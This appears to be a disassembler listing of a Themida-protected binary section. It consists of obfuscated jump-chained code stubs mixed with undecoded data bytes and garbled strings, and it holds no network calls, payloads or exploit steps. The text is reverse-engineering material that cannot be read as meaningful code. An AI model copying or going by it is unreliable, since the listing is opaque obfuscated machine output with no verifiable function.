; ---------------------------------------------------------------------------
loc_5094AB: ; CODE XREF: Themida_:00506B8Fj
sub esp, 4
mov [esp], eax
mov eax, 713340Dh
xor eax, edx
xor edx, eax
jmp loc_503DB9
; ---------------------------------------------------------------------------
dw 3835h
dd 517DD541h, 596B81B9h, 0E772E943h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5094D2: ; CODE XREF: Themida_:0050A34Cj
xor ebp, 0FF5CDE83h
xor ebx, ebp
pop ebp
push ebp
mov ebp, 3BBF4A09h
shr ebp, 8
add ebp, 46D42333h
dec ebp
jmp loc_504BCA
; ---------------------------------------------------------------------------
dd 24148B59h, 0FFCA30E9h, 1AE981FFh, 81297B44h, 2A731CC1h
dd 81D90164h, 2A731CE9h, 0DB57E964h, 55510000h, 43275BBDh
dd 0F5814D1Dh, 176768CCh, 7333F581h, 0C14D2B25h, 0ED8106EDh
dd 8404F0h, 0E95DE989h, 75B6h
; ---------------------------------------------------------------------------
loc_509538: ; CODE XREF: Themida_:00513066j
pop ecx
add eax, edi
jmp loc_50643D
; ---------------------------------------------------------------------------
dd 4C681h, 4DE90000h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50954B: ; CODE XREF: Themida_:00507997j
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_50DF91
; ---------------------------------------------------------------------------
aRs__ db 'Ñàé__',0
dd 0F0F68100h, 29DD6618h, 0F3A5E9F7h, 58E9FFFFh, 81FFFF95h
dd 53634FC7h, 0CBC4E915h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50957E: ; CODE XREF: Themida_:00509DADj
mov eax, 15201970h
and eax, 767E391Ch
jmp loc_5055DE
; ---------------------------------------------------------------------------
db 0BAh, 32h, 39h
dd 0C2836507h, 0E95250FFh, 6F1Ch, 34FFF931h, 243C8B24h
dd 4C481h, 89510000h, 4C181E1h, 56000000h, 415D3BBEh, 0EE814623h
dd 23415D38h, 7E9F101h, 66000080h, 4244401h, 0D0E95866h
db 0BEh, 2 dup(0)
aNsU db 'é',7,'u',0 ; DATA XREF: Themida_:00502968o
dd 0BB0F6600h, 0E99C2404h, 0FFFF94E7h
; ---------------------------------------------------------------------------
loc_5095E4: ; CODE XREF: Themida_:0050F2F8j
sub esi, 0A2C21A7h
inc esi
neg esi
jmp loc_5134C4
; ---------------------------------------------------------------------------
dw 0C87h
dd 0BA525C24h, 418010F5h, 4A04EAC1h, 0A3ADE9h
db 0
; ---------------------------------------------------------------------------
loc_509605: ; CODE XREF: Themida_:00517E1Aj
add ebx, esi
add ebx, 3F9444AFh
jmp loc_513BAE
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 8904EC83h, 0EB82404h, 0E91A0A62h, 9F41h
; ---------------------------------------------------------------------------
loc_509628: ; CODE XREF: Themida_:0051519Ej
mov edx, esp
jmp loc_509E06
; ---------------------------------------------------------------------------
db 68h
dd 13D668B6h, 1408E9h, 5AD53100h, 62B2B951h, 0E9816788h
dd 4B6C427Fh, 68C1C181h, 0CD2993A1h, 5DEB0159h, 0E904EC83h
dd 0DD85h, 2E3C166h, 46EB8166h, 0D3F76604h, 7EBC166h, 0D6EB8166h
dd 0DA89664Bh, 5266535Bh, 2FB5E9h
db 0
; ---------------------------------------------------------------------------
loc_50967D: ; CODE XREF: Themida_:00517E50j
pop ecx
and eax, esi
pop esi
jmp loc_505956
; ---------------------------------------------------------------------------
dw 315Eh
dd 242C8BEBh, 4C481h, 0D9890000h, 68241C8Bh, 3D3Bh, 54243489h
dd 4C6815Eh, 83000000h, 348704C6h, 0EF815C24h, 3C116867h
dd 4CDC781h, 0CF015A04h, 4CDEF81h, 0C7815A04h, 3C116867h
dd 83240C8Bh, 3C8704C4h, 24248B24h, 9CC88566h, 0FF93EEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5096DD: ; CODE XREF: Themida_:00510523j
push ebx
jmp loc_508B3B
; ---------------------------------------------------------------------------
loc_5096E3: ; CODE XREF: Themida_:005083CEj
pop ebx
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_50B89B
; ---------------------------------------------------------------------------
dd 405h, 4EC8100h, 89000000h, 0E9552414h, 0D786h, 81D7F74Fh
dd 834EF7C7h, 8B5D5789h, 0C481243Ch, 4, 0FFABCBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_509729: ; CODE XREF: Themida_:0050C16Dj
pop edi
pop edx
push ebp
mov ebp, 3889719Ch
add edx, ebp
pop ebp
mov ecx, edx
mov edx, [esp]
add esp, 4
pop eax
sub ecx, 4A9D32C8h
add ebp, ecx
push dword ptr [esp]
pop ecx
jmp loc_5075FE
; ---------------------------------------------------------------------------
word_50974E dw 30ACh ; DATA XREF: Themida_:00502A44o
dd 41F568D8h, 1C890000h, 4EC8124h, 89000000h, 0B652240Ch
dd 4E68073h, 80C2F680h, 38E901EEh
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_509773: ; CODE XREF: Themida_:00510555j
push edi
mov edi, 5B396260h
jmp loc_516BCB
; ---------------------------------------------------------------------------
aAiqsn db '€ëŸé¿',0
align 2
dw 0F751h
dd 0E9592414h, 0FFFFC99Fh, 0B6568h, 242C8900h, 0E460E9h
db 0
; ---------------------------------------------------------------------------
loc_50979D: ; CODE XREF: Themida_:00516646j
pop esp
jmp loc_516DB8
; ---------------------------------------------------------------------------
aLF14F34F14Sur db '‹$$f14$f34$f14$éî',0
dw 8B00h
dd 31662424h, 33662414h, 31662414h, 8B662414h, 89532434h
dd 11CC68E3h, 4890000h, 2737B824h, 0E70546B8h, 0C1E26350h
dd 0E95207E0h, 0FFFFC1E1h, 54243489h, 6332E9h, 14E95A00h
dd 59FFFFCFh, 0F75BDE21h, 0E95351D6h, 0FFFFEAD1h, 4E5488BEh
dd 0E6814E03h, 3AA70979h, 0FFED7FE9h, 24248BFFh, 0FFF1B4E9h
dd 5DEA01FFh, 815AD729h, 0EB2E47C2h, 0E9FA0106h, 0FFFFC29Fh
; ---------------------------------------------------------------------------
loc_509830: ; CODE XREF: Themida_:005146FDj
xchg edi, [esp]
not edi
xchg edi, [esp]
mov eax, [esp]
add esp, 4
sub eax, 12AD5AFEh
sub eax, 0A32621C7h
mov edi, eax
jmp loc_502E0F
; ---------------------------------------------------------------------------
dw 48Bh
aS_8 db '$é',7,8,0
align 2
dw 0E95Eh
dd 0FFFFFCFAh
; ---------------------------------------------------------------------------
loc_509860: ; CODE XREF: Themida_:0050CF4Fj
mov esi, 0E944D45Dh
add eax, esi
pop esi
add ecx, eax
jmp loc_50A01D
; ---------------------------------------------------------------------------
loc_50986F: ; CODE XREF: Themida_:0050F122j
add esp, 4
push edi
jmp loc_50F67A
; ---------------------------------------------------------------------------
dd 505AD501h, 3466FEB8h, 2E0C126h, 72DD8F7h, 29672E64h
dd 0E95358C5h, 1FCFh, 3BE4BD55h, 0DDF7006Eh, 0EDC1E5D1h
dd 3DED8105h, 8907F91Ch, 0EB6DE9EEh, 348BFFFFh, 4C48324h
dd 0D224E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5098BA: ; CODE XREF: Themida_:005069D6j
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_515122
; ---------------------------------------------------------------------------
loc_5098D2: ; CODE XREF: Themida_:0050C336j
add edx, esi
add edx, 5D240122h
add edx, 3430691Fh
mov esi, [esp]
add esp, 4
jmp loc_515778
; ---------------------------------------------------------------------------
loc_5098EB: ; CODE XREF: Themida_:00504953j
mov [esp], edx
jmp loc_50E384
; ---------------------------------------------------------------------------
loc_5098F3: ; CODE XREF: Themida_:0050D62Bj
add ecx, 8C729A18h
jmp loc_502ED3
; ---------------------------------------------------------------------------
dw 0C87h
dd 0C3815C24h, 2, 31241C33h, 1C33241Ch, 4FF7E924h, 0D1400000h
dd 68E8h, 4290000h, 32D5824h, 29C6D64Bh, 0C9C9E9C2h, 0E0890000h
dd 820CE9h, 89515300h, 4BE56E1h, 1000000h, 0E9835EF1h
dd 240C3304h, 33240C31h, 0E95C240Ch, 0FFFFE774h, 0D251E946h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50995A: ; CODE XREF: Themida_:0050F86Aj
push dword ptr [esp]
pop eax
jmp loc_50A84B
; ---------------------------------------------------------------------------
loc_509963: ; CODE XREF: Themida_:0050793Cj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push esi
mov esi, edi
mov ecx, esi
pop esi
jmp loc_504FFA
; ---------------------------------------------------------------------------
loc_50997B: ; CODE XREF: Themida_:00512134j
mov ebp, 4C604FF7h
shr ebp, 1
or ebp, 43CE7D21h
and ebp, 47B31C2h
add ebp, 7BBE76A2h
jmp loc_51229A
; ---------------------------------------------------------------------------
db 59h, 81h, 0C4h
dd 4, 0C8ABE951h, 0EC81FFFFh, 4, 0FF95F9E9h, 242C89FFh
dd 0AA6B56BDh, 0F584E913h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5099BE: ; CODE XREF: Themida_:0050FF42j
mov [esp], edx
mov edx, 762D71F7h
add [esp+0Ch], edx
pop edx
sub [esp+8], edx
sub dword ptr [esp+8], 762D71F7h
pop edx
mov eax, [esp]
add esp, 4
pop dword ptr [edi+24h]
jmp loc_510FD8
; ---------------------------------------------------------------------------
db 48h, 40h, 0C1h
dd 0D8F705E8h, 78E8B05h, 58C20125h, 6360EA81h, 12E96221h
dd 57FFFFB8h, 986D53BFh, 0E9FB016Ch, 5952h
; ---------------------------------------------------------------------------
loc_509A10: ; CODE XREF: Themida_:00504AACj
pop ecx
jmp loc_510350
; ---------------------------------------------------------------------------
loc_509A16: ; CODE XREF: Themida_:00512A5Aj
pop ebx
sub esp, 4
jmp loc_503AFA
; ---------------------------------------------------------------------------
db 59h
dd 251EE9h
db 0
; ---------------------------------------------------------------------------
loc_509A25: ; CODE XREF: Themida_:00512A4Fj
mov edi, eax
jmp loc_50346C
; ---------------------------------------------------------------------------
loc_509A2C: ; CODE XREF: Themida_:0050B3E9j
mov esi, esp
jmp loc_5073DB
; ---------------------------------------------------------------------------
aPsg@ db 'PéG@',0
dd 778EBA00h, 0D0290B18h, 735FE9h, 4B39B900h, 0CB0149FDh
dd 7463E9h, 0E9C3B700h, 1Fh, 2C87D5F7h, 2434FF24h, 4C4815Ah
dd 81000000h, 498DC3EAh, 8BD701F7h, 0E9E92414h, 0F6FFFFE9h
dd 69EF80D7h, 1C8BF800h, 4C48124h, 0FF000000h, 815B2434h
dd 4C4h, 0EEE95300h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_509A97: ; CODE XREF: Themida_:0050881Aj
mov edi, 20F1804h
sub ebp, edi
pop edi
not ebp
jmp loc_50F06C
; ---------------------------------------------------------------------------
dw 0BD55h
dd 1BE51310h, 5F79E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509AB2: ; CODE XREF: Themida_:00504526j
mov ebx, 62BE0B4Bh
dec ebx
xor ebx, 0AA3366h
sub ebx, 62143828h
add edx, ebx
pop ebx
jmp loc_512214
; ---------------------------------------------------------------------------
loc_509ACC: ; CODE XREF: Themida_:0050A76Fj
add edx, 14D16A3Bh
add edx, ebx
sub edx, 14D16A3Bh
pop ebx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
sub [edi+24h], ebx
jmp loc_5164C4
; ---------------------------------------------------------------------------
loc_509AEF: ; CODE XREF: Themida_:00515BA3j
add eax, edi
pop edi
pop esi
push 52C4h
mov [esp], edi
mov edi, esp
add edi, 4
push edx
mov edx, 4
sub edi, edx
mov edx, [esp]
jmp loc_506F4F
; ---------------------------------------------------------------------------
db 31h
dd 36E92414h, 89FFFFCBh, 7A08E9F5h, 0EC830000h, 242C8904h
dd 9D4BE9h, 42D00h, 6BE90000h
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_509B37: ; CODE XREF: Themida_:00502EBBj
add esp, 4
not esi
or esi, 4B69399Ch
shl esi, 4
push eax
mov eax, 0
sub eax, esi
mov esi, eax
pop eax
jmp loc_517D62
; ---------------------------------------------------------------------------
db 89h, 0E6h, 81h
dd 4C6h, 4C68100h, 87000000h, 248B2434h, 1B586824h, 34890000h
dd 74C7E924h, 0BB530000h, 74CD0311h, 8C80E0BFh, 5BDF298Bh
dd 6EEAEF81h, 0E7E93569h, 51FFFF93h, 0FB4CBDB9h, 95BA523Fh
dd 0B83D9322h, 8982EBA0h, 0E95AD001h, 8559h, 83242489h
dd 0E9042404h, 0FFFFA87Ch, 19F2815Ah, 81676808h, 3B2116CAh
dd 5BBD5575h, 317FBB65h, 0BE95DEAh
db 92h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_509BCF: ; CODE XREF: Themida_:0050889Dj
sub edi, esi
push edx
jmp loc_509CA8
; ---------------------------------------------------------------------------
loc_509BD7: ; CODE XREF: Themida_:00515D4Bj
mov esi, 4
add ecx, 78EF5A8Ah
add ecx, esi
jmp loc_50443F
; ---------------------------------------------------------------------------
aITs db '‰<$Té}<',0
align 2
dw 1C89h
aHU db '$h)u',0
align 2
dw 0C89h
dd 41F3E924h, 475A0000h, 0B850554Fh, 4963071Ch, 0EC24150Dh
dd 2E8C16Bh, 0FB10D40h, 3A052E93h, 0E93B541Bh, 0FFFFC594h
dd 4EA81h, 14870000h, 24248B24h
db 89h, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 2F6B1A9Bh
add ebx, 1D4F611Eh
add ebx, 6CC72952h
xor ebx, 0B981A50Fh
add ebp, ebx
pop ebx
sub ebp, 4
jmp loc_50CEC2
; ---------------------------------------------------------------------------
aSic db '\鉖',0
align 2
aIxspw db '䌎pW',0
dd 7D03BD00h, 0E9534124h, 0FFFFDFB5h, 2924248Bh, 2434FFE8h
dd 85E9515Dh, 5DFFFFF6h, 7F36C981h, 0BB537941h, 3A2F4954h
dd 0FFEDA3E9h, 48804FFh, 0A5ECE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_509C9E: ; CODE XREF: Themida_:0050603Cj
mov ebp, edx
pop edx
sub ebp, eax
jmp loc_504EBF
; ---------------------------------------------------------------------------
loc_509CA8: ; CODE XREF: Themida_:00509BD2j
mov edx, 71E42B8h
shr edx, 7
not edx
jmp loc_50A12E
; ---------------------------------------------------------------------------
db 81h
dd 6B2080EEh, 92A1E964h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_509CC2: ; CODE XREF: Themida_:0050F4EDj
sub edi, 3771280Fh
pop edx
add edi, 51E628CBh
sub edi, ebp
push ebp
jmp loc_511A47
; ---------------------------------------------------------------------------
db 0BBh
dd 5DE73187h, 0CE7DC381h, 0A8E9A218h, 0BBFFFFF1h, 5C3E2515h
dd 558AEB81h, 7DE9454Fh, 0BB0000D3h, 39347F1Bh, 0FE3EC381h
dd 56E94128h, 66000083h, 81240C8Bh, 2C4h, 0EFCF8000h, 66FFEF80h
dd 6678F868h, 88240C89h, 88D1F6F9h, 0F65966CFh, 0F1E780DFh
dd 886FC780h, 241C8BF9h, 4C481h, 0C8000000h, 0E9536659h
dd 0FFFFDC25h, 0FFFFFFBAh, 0FB2AE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_509D4E: ; CODE XREF: Themida_:005127F9j
pop ecx
sub edx, 4
xor edx, [esp]
jmp loc_50BD72
; ---------------------------------------------------------------------------
loc_509D5A: ; CODE XREF: Themida_:0050A02Dj
or edx, 3778370Ah
xor edx, 362E7AC1h
sub ecx, edx
jmp loc_503116
; ---------------------------------------------------------------------------
loc_509D6D: ; CODE XREF: Themida_:0050F993j
mov ebp, [esp]
add esp, 4
jmp loc_511006
; ---------------------------------------------------------------------------
dd 4C481h, 0C3810000h, 2, 0E9241C87h, 0FFFFFA17h, 4C581h
dd 90E90000h, 4FFFFDDh, 7E0C0BDh, 3F2CE134h, 48BC528h
dd 88BBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509DAA: ; CODE XREF: Themida_:00513C9Ej
mov [esp], eax
jmp loc_50957E
; ---------------------------------------------------------------------------
dw 14E9h
dd 29FFFF8Dh, 0C15896F0h, 0EE8107E6h, 9FBE3BFDh, 0F32BF57h
dd 0FA0129F4h, 48D1E9h, 815D5400h, 4C5h, 0E244E900h, 0BD55FFFFh
dd 2FD42E02h, 6395C681h, 0C6815214h, 1587588Dh, 0EE81EE29h
dd 1587588Dh, 6395EE81h, 2C8B5214h, 0CF8E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509E06: ; CODE XREF: Themida_:0050962Aj
push ebp
mov ebp, 4
jmp loc_5033A9
; ---------------------------------------------------------------------------
db 5Ah, 8Fh, 4
dd 24048124h, 4, 332EE9h, 0DE015F00h, 57241C8Bh, 0BE56E789h
dd 4, 505EF701h, 0FFC870E9h, 0F7415AFFh, 4244E9D1h, 4BB0000h
dd 1000000h, 89565BDDh, 0A318E9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_509E52: ; CODE XREF: Themida_:0050C9C2j
pop ebp
mov ebx, [esp]
push 6029h
mov [esp], eax
mov eax, esp
jmp loc_50F2D6
; ---------------------------------------------------------------------------
db 0B9h, 4, 0
dd 31E90000h, 560000A1h, 0C5335268h, 0BBACE969h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509E7A: ; CODE XREF: Themida_:00514A61j
sub edi, 0C5D143CEh
sub eax, edi
pop edi
pop esi
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_509E89: ; CODE XREF: Themida_:005136FBj
mov [esp], ebx
mov bl, 1Fh
sub bl, 0Ch
jmp loc_50F758
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4EA81h, 14870000h, 0C895C24h, 85BA5224h, 0E95E3C22h
dd 0FFFFA5D1h
; ---------------------------------------------------------------------------
loc_509EB4: ; CODE XREF: Themida_:0050E4F8j
push 38250816h
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5152D0
; ---------------------------------------------------------------------------
loc_509ED0: ; CODE XREF: Themida_:0050BEDDj
shr eax, 0Bh
xor ecx, eax
push 6295h
mov [esp], ebx
jmp loc_503B42
; ---------------------------------------------------------------------------
dw 0F501h
aSsR db 'SéÄr',0
align 2
dw 0D6F7h
dd 0FFA762E9h, 39C0BFFFh, 0F8893E81h, 81243C8Bh, 4C4h
dd 0FFC08300h, 844B172Dh, 4EC8143h, 89000000h, 0C6BD242Ch
dd 0F72B795Eh, 81D5F7DDh, 0DC1FE6F5h, 0E1F3E90Ah, 2BDFFFFh
dd 81000000h, 0AF063DE9h, 81E9014Bh, 0AF063DC1h, 46A4E94Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509F3E: ; CODE XREF: Themida_:005059EBj
xor cl, 6Dh
xor dh, cl
pop ecx
push ecx
mov cl, 0A3h
sub dh, cl
jmp loc_50DFC1
; ---------------------------------------------------------------------------
dw 8758h
dd 0E95C2414h, 0FFFF8B73h, 1C28B951h, 306831D3h, 89000030h
dd 0ABB241Ch, 87023649h, 87DEF7F3h, 0D144E9F3h, 0FF57FFFFh
dd 8B042474h, 0C481243Ch, 4, 8B24048Fh, 0BCE92424h, 81000044h
dd 4C4h, 0C685100h, 89000018h, 4832424h, 59E90424h, 81000026h
dd 0CB0244F6h, 5EF18935h, 0FF0FBA52h, 0D6898BC5h, 0DFEE815Ah
dd 2965F318h, 0DFC681CEh, 5965F318h, 2D5EF101h, 298B346Bh
dd 63E9C829h
db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_509FD7: ; CODE XREF: Themida_:0050AEFEj
or eax, 3C9B7BDCh
jmp loc_51096C
; ---------------------------------------------------------------------------
loc_509FE1: ; CODE XREF: Themida_:0050B79Dj
; Themida_:0050D1C6j ...
push dword ptr [edi+24h]
push dword ptr [esp]
jmp loc_5066D4
; ---------------------------------------------------------------------------
loc_509FEC: ; CODE XREF: Themida_:0050C5FBj
mov esp, [esp]
push 6391h
mov [esp], ecx
push edi
jmp loc_508C07
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 86E2E9h, 4BE00h, 0C3810000h, 29377661h, 0EB81F329h
dd 29377661h, 3FEEE9h
db 0
; ---------------------------------------------------------------------------
loc_50A01D: ; CODE XREF: Themida_:0050986Aj
pop eax
push eax
mov eax, 4
push edx
mov edx, 6B371FD0h
shr edx, 8
jmp loc_509D5A
; ---------------------------------------------------------------------------
loc_50A032: ; CODE XREF: Themida_:00514032j
mov ebp, esi
pop esi
xor ebp, 29DD6547h
add ebp, 1F6452D4h
push 6F9Ah
mov [esp], ecx
mov ecx, 21341375h
sub ebp, ecx
mov ecx, [esp]
add esp, 4
sub ebp, 28C5DAD7h
jmp loc_50BA81
; ---------------------------------------------------------------------------
db 57h, 89h, 0E7h
dd 4C781h, 0BA520000h, 4, 875AD701h, 895C243Ch, 49E95FFBh
dd 40FFFFA4h, 4EC8356h, 0FFF928E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50A089: ; CODE XREF: Themida_:0050F82Ej
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
add ecx, ebp
pop ebp
jmp loc_516C1B
; ---------------------------------------------------------------------------
loc_50A0BA: ; CODE XREF: Themida_:00517638j
add ecx, 4
xchg ecx, [esp]
jmp loc_510AC0
; ---------------------------------------------------------------------------
loc_50A0C8: ; CODE XREF: Themida_:00507204j
push ecx
mov ecx, 6CC07DEDh
xor ebx, ecx
pop ecx
jmp loc_506041
; ---------------------------------------------------------------------------
dw 483h
dd 348B0424h, 4C48124h, 0E9000000h, 78E7h, 0C681E689h
dd 4, 8704C683h, 815C2434h, 5B62ECE3h, 4E9576Ch, 8900006Eh
dd 3DB82404h, 0D1043A61h, 2DE8D1E8h, 0F06346A9h, 8158C609h
dd 0EB5716EEh, 9CF68119h, 0E91E8601h, 0FFFFF8DBh, 0C80AE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A12E: ; CODE XREF: Themida_:00509CB2j
sub edx, 4B9B0920h
sub edx, 63089E7Bh
add edi, edx
pop edx
jmp loc_51253B
; ---------------------------------------------------------------------------
loc_50A142: ; CODE XREF: Themida_:00516CF2j
add eax, esi
jmp loc_50B49D
; ---------------------------------------------------------------------------
db 1, 0D6h, 5Ah
dd 65C668h, 24348900h, 42474FFh, 5E2434FFh, 815D5455h
dd 4C5h, 375E900h, 5CE90000h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A16F: ; CODE XREF: Themida_:00514360j
pop eax
push ebx
mov ebx, 0
jmp loc_514BA6
; ---------------------------------------------------------------------------
loc_50A17B: ; CODE XREF: Themida_:00506788j
add esp, 4
shl ecx, 4
jmp loc_503865
; ---------------------------------------------------------------------------
byte_50A189 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502890o
dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 68243489h
dd 47B7h, 5EEB68h, 48F5400h, 24048124h, 4, 5324048Fh, 4EC81h
dd 3C890000h, 12706824h, 0E95F5CD4h, 0FFFF8EEEh
; ---------------------------------------------------------------------------
loc_50A1D0: ; CODE XREF: Themida_:00510D70j
pop ebp
add ecx, ebx
pop ebx
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_5107AD
; ---------------------------------------------------------------------------
loc_50A1F7: ; CODE XREF: Themida_:0050C9D6j
mov esi, edi
mov ebx, esi
mov esi, [esp]
add esp, 4
pop edi
jmp loc_50718C
; ---------------------------------------------------------------------------
aFi4SU db 'f‰4$é~U',0
db 0
; ---------------------------------------------------------------------------
loc_50A213: ; CODE XREF: Themida_:0050E6B3j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop edx
push eax
push ebx
push 7036794h
pop ebx
add ebx, 8779FD6h
jmp loc_5070D3
; ---------------------------------------------------------------------------
dd 89240489h, 3F7368E0h, 14890000h, 7A1CBA24h, 0EAC1178Fh
dd 7B3DE905h
db 2 dup(0)
word_50A24A dw 77FFh ; DATA XREF: Themida_:00502A68o
dd 58669D1Ch, 9C240410h, 0C3AEE9h, 24048B00h, 390E953h
db 2 dup(0)
word_50A262 dw 8B66h ; DATA XREF: Themida_:0050286Co
dd 5E9240Ch
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A26B: ; CODE XREF: Themida_:0050307Dj
pop ecx
sub ebp, ecx
add ebp, 34FB6439h
mov ecx, [esp]
add esp, 4
add edx, ebp
pop ebp
jmp loc_50BC6D
; ---------------------------------------------------------------------------
loc_50A285: ; CODE XREF: Themida_:0050B29Ej
mov eax, 4
add ebp, eax
mov eax, [esp]
add esp, 4
sub ebp, 4
jmp loc_50494F
; ---------------------------------------------------------------------------
loc_50A29A: ; CODE XREF: Themida_:00514774j
sub esi, eax
pop eax
add esi, ebx
add esi, 346652CCh
pop ebx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push ecx
mov ecx, esp
jmp loc_51054F
; ---------------------------------------------------------------------------
loc_50A2BB: ; CODE XREF: Themida_:00504F89j
; Themida_:0050559Bj
push edx
jmp loc_503D64
; ---------------------------------------------------------------------------
db 58h, 81h, 0C4h
dd 4, 0C33FE9h, 0D9F74900h, 60FEC181h, 0CF214737h, 0CEF78159h
dd 1142004h, 243C8BFAh, 8104C483h, 2C2h, 24143300h, 0B848E9h
db 0
; ---------------------------------------------------------------------------
loc_50A2F5: ; CODE XREF: Themida_:0050612Aj
and ecx, 4FBE7D77h
xor ecx, 6EE30C58h
jmp loc_504D48
; ---------------------------------------------------------------------------
loc_50A306: ; CODE XREF: Themida_:0051727Aj
push 646Ch
jmp loc_5114A7
; ---------------------------------------------------------------------------
dd 2414335Eh, 33241431h, 248B2414h, 0C896624h, 0B60F6624h
dd 7C9CE9C8h, 51590000h, 0E7FB29B9h, 62DEE970h, 14890000h
dd 6C22E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A33E: ; CODE XREF: Themida_:00514CD2j
mov [esp], ebp
mov ebp, 44AC20AAh
sub ebp, 5BCA6ACDh
jmp loc_5094D2
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 59CE015Ch, 0E9243433h, 0C021h, 5854505Bh, 9E76E9h, 81595A00h
dd 4ECh, 24148900h, 2BE56h, 0F2890000h, 8324348Bh, 0CEE904C4h
dd 0F7FFFFC9h, 6FC981D1h, 0D1060874h, 88E981E9h, 6814372Fh
dd 0
dd 59240C29h, 7C57E981h, 0CB29A686h, 1E3FE9h, 0CE815F00h
dd 1B9C06E7h, 0AACE9h, 241C8900h, 83A2E9h, 24248B00h, 55240C89h
dd 0FFE582E9h, 242C87FFh, 2C87D5F7h, 0EC815B24h, 4, 55240489h
dd 3978B850h, 0BA5244C3h, 2B7C071Ch, 0C71B2D2Dh, 0E9D00133h
dd 3128h, 0BE3DE95Bh, 148B0000h, 0E1895124h, 4C181h, 0FFE90000h
dd 560000ACh, 0F33BD2BEh, 3EEC10Ch, 2FBAF681h, 0EEC14FA5h
dd 0D6EE8102h, 0C1176006h, 0EEC108EEh, 81D6F707h, 1F862C6h
dd 0E0E95500h, 0FEFFFFF6h, 0F6D8F6C0h, 281134D8h, 2434FFC3h
dd 0FF98BCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50A44D: ; CODE XREF: Themida_:0050BDD8j
dec al
shr al, 7
and al, 8
shl al, 8
add al, 0Ah
mov cl, al
pop eax
push ebx
mov bh, 0F4h
add bh, 0F2h
sub cl, bh
pop ebx
mov bh, cl
mov ecx, [esp]
jmp loc_51485F
; ---------------------------------------------------------------------------
db 57h
dd 0FF97CDE9h
db 0FFh
byte_50A475 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502908o
dd 0E9545724h, 0FFFFD5D0h, 17622FBEh, 4E6C17Fh, 54E9F681h
dd 0F3898DF4h, 0BFCB815Eh, 0C128A94Dh, 0DBF707EBh, 797EC381h
dd 0BE562011h, 56AE0EE2h, 5B57C681h, 0F309212Ch, 0F8F3815Eh
dd 175F8C3h, 0F3295BDEh, 0FF9ED8E9h, 4EB83FFh, 5C241C87h
dd 0E9241489h, 0FFFFC2DDh
; ---------------------------------------------------------------------------
loc_50A4D0: ; CODE XREF: Themida_:005085F4j
pop eax
add edx, 35873F56h
shr edx, 8
jmp loc_515A2C
; ---------------------------------------------------------------------------
db 83h
dd 0EC8104C5h, 4, 0FF242C89h, 5D042474h, 5C24048Fh, 0E924048Fh
dd 346Ah, 63E9CD01h, 810000B2h, 346198EDh, 3EDC13Fh, 51C8BB53h
dd 0DD0127AEh, 5B2434FFh, 532AE9h, 32E95B00h, 81000018h
dd 5F77A3CEh, 0ADE4E97Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A52E: ; CODE XREF: Themida_:0050B3B3j
push dword ptr [edi+24h]
jmp loc_50B24E
; ---------------------------------------------------------------------------
loc_50A536: ; CODE XREF: Themida_:00517D8Bj
add ebp, eax
sub ebp, 3F8F615Bh
jmp loc_50E9FD
; ---------------------------------------------------------------------------
db 0F7h
dd 4FF9E9DEh, 0E9830000h, 15C3E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A552: ; CODE XREF: Themida_:00505D30j
add dh, 0DFh
sub bl, dh
pop edx
pop edx
jmp loc_506E9F
; ---------------------------------------------------------------------------
